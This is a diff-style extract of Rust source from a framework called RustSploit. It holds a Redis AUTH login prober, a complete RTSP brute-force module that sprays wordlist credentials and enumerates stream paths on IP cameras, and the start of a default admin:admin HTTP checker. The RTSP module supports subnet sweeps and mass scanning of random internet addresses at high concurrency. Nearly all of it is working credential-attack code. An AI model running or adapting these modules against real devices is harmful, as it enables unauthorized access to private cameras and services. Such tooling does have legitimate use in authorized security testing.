fn resp_cmd(args: &[&[u8]]) -> Vec<u8> {
|
||||
let mut cmd = format!("*{}\r\n", args.len()).into_bytes();
|
||||
for arg in args {
|
||||
cmd.extend_from_slice(format!("${}\r\n", arg.len()).as_bytes());
|
||||
cmd.extend_from_slice(arg);
|
||||
cmd.extend_from_slice(b"\r\n");
|
||||
}
|
||||
cmd
|
||||
}
|
||||
|
||||
/// Attempt Redis AUTH login using safe RESP protocol framing.
|
||||
/// Returns Ok(true) on +OK, Ok(false) on -ERR, Err on connection issues.
|
||||
/// On success, also sends INFO server to gather version info.
|
||||
fn attempt_redis_login(
|
||||
target: &str,
|
||||
port: u16,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
acl_mode: bool,
|
||||
timeout_secs: u64,
|
||||
) -> std::result::Result<bool, RedisError> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| RedisError {
|
||||
error_type: RedisErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
// Build AUTH command using RESP array format (injection-safe)
|
||||
let auth_cmd = if acl_mode {
|
||||
resp_cmd(&[b"AUTH", user.as_bytes(), pass.as_bytes()])
|
||||
} else {
|
||||
resp_cmd(&[b"AUTH", pass.as_bytes()])
|
||||
};
|
||||
|
||||
stream.write_all(&auth_cmd)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("+OK") {
|
||||
// Auth succeeded — gather server info
|
||||
if stream.write_all(&resp_cmd(&[b"INFO", b"server"])).is_ok() {
|
||||
let mut info_buf = [0u8; 4096];
|
||||
if let Ok(info_n) = stream.read(&mut info_buf) {
|
||||
let info_response = String::from_utf8_lossy(&info_buf[..info_n]);
|
||||
// Extract version if available
|
||||
for line in info_response.lines() {
|
||||
if line.starts_with("redis_version:") {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(" [i] Redis version on {}:{} -> {}", target, port, line.trim()).cyan()
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// Clean disconnect
|
||||
if let Err(e) = stream.write_all(&resp_cmd(&[b"QUIT"])) { crate::meprintln!("[!] Redis QUIT write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
if response.contains("-ERR") || response.contains("-WRONGPASS") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Server requires no password — treat empty-password probe as success
|
||||
if response.contains("-NOAUTH") && pass.is_empty() {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
Err(RedisError {
|
||||
error_type: RedisErrorType::ProtocolError,
|
||||
message: format!("Unexpected AUTH response: {}", response.trim()),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,707 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use std::{
|
||||
net::{IpAddr, SocketAddr},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
time::timeout,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "RTSP Brute Force".to_string(),
|
||||
description: "Brute-force RTSP authentication for IP cameras and streaming devices. Supports advanced RTSP commands, custom headers, path brute-forcing, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Advanced RTSP Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ IP Camera and Streaming Server Credential Testing ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Supports path enumeration and custom headers ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Modes: Single Target & Mass Scan (Hose) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let paths_file =
|
||||
cfg_prompt_existing_file("paths_file", "RTSP paths file (empty for none/root)").await?;
|
||||
let users = Arc::new(load_lines(&usernames_file)?);
|
||||
let passes = Arc::new(load_lines(&passwords_file)?);
|
||||
let mut paths = load_lines(&paths_file)?;
|
||||
if paths.is_empty() {
|
||||
paths.push("".to_string());
|
||||
}
|
||||
let paths = Arc::new(paths);
|
||||
if users.is_empty() || passes.is_empty() {
|
||||
return Err(anyhow!("Wordlists cannot be empty"));
|
||||
}
|
||||
|
||||
let cfg = MassScanConfig {
|
||||
protocol_name: "RTSP",
|
||||
default_port: 554,
|
||||
state_file: "rtsp_hose_state.log",
|
||||
default_output: "rtsp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
};
|
||||
|
||||
return run_mass_scan(target, cfg, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
let paths = paths.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
let empty_headers: Vec<String> = Vec::new();
|
||||
for path in paths.iter() {
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let addrs = [sa];
|
||||
let res = try_rtsp_login(
|
||||
&addrs,
|
||||
&sa.to_string(),
|
||||
user,
|
||||
pass,
|
||||
path,
|
||||
Some("DESCRIBE"),
|
||||
&empty_headers,
|
||||
)
|
||||
.await;
|
||||
match res {
|
||||
Ok(true) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line =
|
||||
format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] FOUND: {}:{} -> {}:{} [path={}]",
|
||||
ip, port, user, pass, path
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
return Some(line);
|
||||
}
|
||||
Err(e) => {
|
||||
let err_str = e.to_string().to_lowercase();
|
||||
if err_str.contains("refused")
|
||||
|| err_str.contains("timeout")
|
||||
|| err_str.contains("reset")
|
||||
{
|
||||
return None;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
})
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", "[*] Mode: Subnet Scan".cyan());
|
||||
return run_subnet_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single-Target Logic ---
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "RTSP Port", 554).await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "rtsp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let advanced_mode = cfg_prompt_yes_no(
|
||||
"advanced_mode",
|
||||
"Use advanced RTSP commands/headers (DESCRIBE + custom headers)?",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
let method = cfg_prompt_default(
|
||||
"rtsp_method",
|
||||
"RTSP method to use (e.g. DESCRIBE)",
|
||||
"DESCRIBE",
|
||||
)
|
||||
.await?;
|
||||
if cfg_prompt_yes_no(
|
||||
"load_headers_file",
|
||||
"Load extra RTSP headers from a file?",
|
||||
false,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let headers_path =
|
||||
cfg_prompt_existing_file("headers_file", "Path to RTSP headers file").await?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
|
||||
let implicit_path = extract_rtsp_path(target);
|
||||
|
||||
// Normalize target and add port if needed
|
||||
let target_normalized = if target.starts_with("rtsp://") {
|
||||
target
|
||||
.strip_prefix("rtsp://")
|
||||
.unwrap_or(target)
|
||||
.split('/')
|
||||
.next()
|
||||
.unwrap_or(target)
|
||||
} else {
|
||||
target.split('/').next().unwrap_or(target)
|
||||
};
|
||||
|
||||
let normalized = normalize_target(target_normalized)?;
|
||||
let target_host = if normalized.contains(':') {
|
||||
// Already has port — extract host part
|
||||
normalized
|
||||
.rsplit_once(':')
|
||||
.map(|(h, _)| h)
|
||||
.unwrap_or(&normalized)
|
||||
.to_string()
|
||||
} else {
|
||||
normalized.clone()
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
crate::mprintln!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if pass_lines.is_empty() {
|
||||
crate::mprintln!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = cfg_prompt_yes_no(
|
||||
"brute_force_paths",
|
||||
"Brute force possible RTSP paths (e.g. /stream /live)?",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = cfg_prompt_existing_file("paths_file", "Path to RTSP paths file").await?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
crate::mprintln!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
|
||||
let addr = format!("{}:{}", target_host, port);
|
||||
let resolved_addrs = match resolve_targets(&addr).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
crate::meprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let mut combos = generate_combos_mode(&users, &pass_lines, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] {} credential pair(s) x {} path(s) = {} total attempts",
|
||||
combos.len(),
|
||||
paths.len(),
|
||||
combos.len() * paths.len()
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
// Loop over each RTSP path, running the bruteforce engine per path.
|
||||
// This preserves the engine's clean (user, pass) API while covering
|
||||
// the RTSP-specific path dimension.
|
||||
let mut all_found: Vec<(String, String, String, String)> = Vec::new();
|
||||
|
||||
for path in &paths {
|
||||
let path_display = if path.is_empty() {
|
||||
"/ (root)"
|
||||
} else {
|
||||
path.as_str()
|
||||
};
|
||||
crate::mprintln!("\n{}", format!("[*] Testing path: {}", path_display).cyan());
|
||||
|
||||
let path_c = path.clone();
|
||||
let addrs_c = resolved_addrs.clone();
|
||||
let headers_c = advanced_headers.clone();
|
||||
let command_c = advanced_command.clone();
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let addrs = addrs_c.clone();
|
||||
let path = path_c.clone();
|
||||
let headers = headers_c.clone();
|
||||
let command = command_c.clone();
|
||||
let display_addr = format!("{}:{}", t, p);
|
||||
async move {
|
||||
match try_rtsp_login(
|
||||
addrs.as_slice(),
|
||||
&display_addr,
|
||||
&user,
|
||||
&pass,
|
||||
&path,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let msg = e.to_string().to_lowercase();
|
||||
let retryable = !msg.contains("401") && !msg.contains("403");
|
||||
LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target_host.clone(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 10,
|
||||
max_retries: 2,
|
||||
service_name: "rtsp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/rtsp_credcheck",
|
||||
},
|
||||
combos.clone(),
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let path_label = if path.is_empty() {
|
||||
"NO_PATH".to_string()
|
||||
} else {
|
||||
path.clone()
|
||||
};
|
||||
for (host, user, pass) in &result.found {
|
||||
all_found.push((host.clone(), user.clone(), pass.clone(), path_label.clone()));
|
||||
}
|
||||
|
||||
// If stop_on_success and we found something on this path, skip remaining paths
|
||||
if stop_on_success && !result.found.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Credentials found and stop_on_success enabled — skipping remaining paths."
|
||||
.yellow()
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Final summary across all paths
|
||||
if all_found.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[-] No credentials found (with these paths).".yellow()
|
||||
);
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[+] Found {} valid credential(s) across all paths:",
|
||||
all_found.len()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
for (host, user, pass, path) in &all_found {
|
||||
crate::mprintln!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(ref path) = save_path {
|
||||
let filename = crate::utils::get_filename_in_current_dir(path);
|
||||
{
|
||||
use std::io::Write;
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
if let Ok(mut file) = opts.open(&filename) {
|
||||
for (host, user, pass, path) in &all_found {
|
||||
if let Err(e) = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path) { crate::meprintln!("[!] Write error: {}", e); }
|
||||
}
|
||||
crate::mprintln!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Run subnet scan using the generic subnet bruteforce engine.
|
||||
/// Loops over RTSP paths externally, running `run_subnet_bruteforce` per path.
|
||||
async fn run_subnet_scan(target: &str) -> Result<()> {
|
||||
let port: u16 = cfg_prompt_port("port", "RTSP Port", 554).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let paths_file =
|
||||
cfg_prompt_existing_file("paths_file", "RTSP paths file (empty for none/root)").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
let mut paths = load_lines(&paths_file)?;
|
||||
if paths.is_empty() {
|
||||
paths.push("".to_string());
|
||||
}
|
||||
if users.is_empty() || pass_lines.is_empty() {
|
||||
return Err(anyhow!("Wordlists cannot be empty"));
|
||||
}
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"rtsp_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
for path in &paths {
|
||||
let path_display = if path.is_empty() {
|
||||
"/ (root)"
|
||||
} else {
|
||||
path.as_str()
|
||||
};
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Subnet scan — RTSP path: {}", path_display).cyan()
|
||||
);
|
||||
|
||||
let path_c = path.clone();
|
||||
let empty_headers: Arc<Vec<String>> = Arc::new(Vec::new());
|
||||
|
||||
run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users.clone(),
|
||||
pass_lines.clone(),
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file: output_file.clone(),
|
||||
service_name: "rtsp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/rtsp_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let path = path_c.clone();
|
||||
let headers = empty_headers.clone();
|
||||
async move {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
let addrs = [sa];
|
||||
match try_rtsp_login(
|
||||
&addrs,
|
||||
&sa.to_string(),
|
||||
&user,
|
||||
&pass,
|
||||
&path,
|
||||
Some("DESCRIBE"),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let msg = e.to_string().to_lowercase();
|
||||
// Connection errors are retryable; auth errors are not
|
||||
let retryable = msg.contains("refused")
|
||||
|| msg.contains("timeout")
|
||||
|| msg.contains("reset")
|
||||
|| msg.contains("connection");
|
||||
LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
|
||||
// 2) Split into host / port
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(554))
|
||||
} else {
|
||||
(addr.to_string(), 554)
|
||||
};
|
||||
|
||||
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
|
||||
// 4) DNS lookup (handles A + AAAA)
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa: Option<SocketAddr> = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match crate::utils::network::tcp_connect_addr(*sa, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap the successful connection and SocketAddr
|
||||
let (mut stream, sa) = match (stream, connected_sa) {
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts to {} failed: {}",
|
||||
addr_display,
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
};
|
||||
|
||||
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
|
||||
let ip_str = sa.ip().to_string();
|
||||
let host_for_uri = if ip_str.contains(':') {
|
||||
format!("[{}]:{}", ip_str, sa.port())
|
||||
} else {
|
||||
format!("{}:{}", ip_str, sa.port())
|
||||
};
|
||||
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
let path_str = if path.is_empty() { "" } else { path };
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
host = host_for_uri,
|
||||
path = path_str.trim_start_matches('/'),
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
for header in extra_headers {
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
request.push_str("\r\n");
|
||||
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
// Add Read timeout
|
||||
let n = match timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
stream.read(&mut buffer),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(n)) => n,
|
||||
Ok(Err(e)) => return Err(e.into()),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
};
|
||||
|
||||
if n == 0 {
|
||||
return Err(anyhow!(
|
||||
"{}: server closed connection unexpectedly.",
|
||||
addr_display
|
||||
));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
// Some cameras might return 404 if path is wrong but still authorized?
|
||||
// Or 400 Bad Request?
|
||||
// Safest is to treat anything not 200 as fail, but maybe check for specifc auth fail codes.
|
||||
// If we get 404, the creds might be valid but path invalid.
|
||||
// But without positive valid signal, we assume fail.
|
||||
Err(anyhow!(
|
||||
"{}: unexpected RTSP response: {}",
|
||||
addr_display,
|
||||
response.lines().next().unwrap_or("")
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
/// Extract RTSP path from target string (e.g., rtsp://host:port/path -> Some("/path"))
|
||||
/// Returns None if no path is present or if path is just "/"
|
||||
fn extract_rtsp_path(target: &str) -> Option<String> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Remove rtsp:// scheme if present
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
|
||||
// Split on first '/' to separate host:port from path
|
||||
if let Some((_, path)) = without_scheme.split_once('/') {
|
||||
// Remove query strings and fragments
|
||||
let clean_path = path
|
||||
.split(|c| c == '?' || c == '#')
|
||||
.next()
|
||||
.unwrap_or_default()
|
||||
.trim();
|
||||
|
||||
if clean_path.is_empty() || clean_path == "/" {
|
||||
None
|
||||
} else {
|
||||
// Ensure path starts with '/'
|
||||
let mut final_path = clean_path.to_string();
|
||||
if !final_path.starts_with('/') {
|
||||
final_path.insert(0, '/');
|
||||
}
|
||||
Some(final_path)
|
||||
}
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Sample Default Credential Checker".to_string(),
|
||||
description: "Sample module that tests HTTP Basic Auth with default admin:admin credentials. Serves as a template for building custom credential checking modules.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ Sample Default Credential Checker ║".cyan());
|
||||
crate::mprintln!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// A sample credential check - tries a basic auth login
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// Mass scan mode: random IPs, CIDR subnets, or target file
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "HTTP Basic Auth",
|
||||
default_port: 80,
|
||||
state_file: "sample_cred_mass_state.log",
|
||||
default_output: "sample_cred_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(5)).ok()?;
|
||||
let url = format!("http://{}:{}/login", ip, port);
|
||||
let resp = client.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
.send()
|
||||
.await
|
||||
.ok()?;
|
||||
if resp.status().is_success() {
|
||||
let msg = format!("{}:{}:admin:admin", ip, port);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
None
|
||||
}).await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
|
||||
crate::mprintln!();
|
